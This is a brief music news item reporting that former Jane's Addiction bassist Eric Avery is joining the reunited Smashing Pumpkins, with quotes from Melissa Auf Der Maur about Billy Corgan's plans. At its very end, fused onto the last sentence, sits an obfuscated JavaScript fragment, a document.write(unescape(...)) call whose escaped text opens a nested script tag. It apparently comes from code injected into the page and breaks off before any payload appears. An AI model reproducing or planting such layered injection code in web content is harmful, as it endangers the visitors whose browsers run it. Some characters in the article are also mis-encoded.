Jane's Addiction bassist joins Pumpkins

Former JANE'S ADDICTION bassist Eric Avery has been tapped to join the reunited SMASHING PUMPKINS, according to a posting on a fan site dedicated to Avery's long-defunct POLARBEAR project.

SMASHING PUMPKINS recently announced via their official web site that they have officially reformed and are currently writing songs for their upcoming album, their first since 2000. No release date has yet been set, but the group plans to begin recording this summer.

In early February, onetime SMASHING PUMPKINS bassist Melissa Auf Der Maur as well as an undisclosed source "close to the situation" confirmed to MTV News that PUMPKINS bandleader Billy Corgan has been working on material that will, at some point, surface in the form of a new SMASHING PUMPKINS album. "Everyone knows Billy doesn't need too many people to make a PUMPKINS record, other than Jimmy [Chamberlin, longtime PUMPKINS drummer] â€" who he has [on board]," Auf Der Maur said at the time. A spokesperson for Azoff Management also confirmed that Corgan and Chamberlin had signed on with the firm as SMASHING PUMPKINS, and that the two have been writing new music.

Auf Der Maur said she wasn't not sure whether Corgan had reached out to guitarist James Iha or bassist D'Arcy Wretzky to complete the band's original lineup, but she said she'd told Corgan that she'd be happy to pitch in if he needed her; Auf Der Maur replaced Wretzky in 1999 and worked with the group until it disbanded in 2000.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22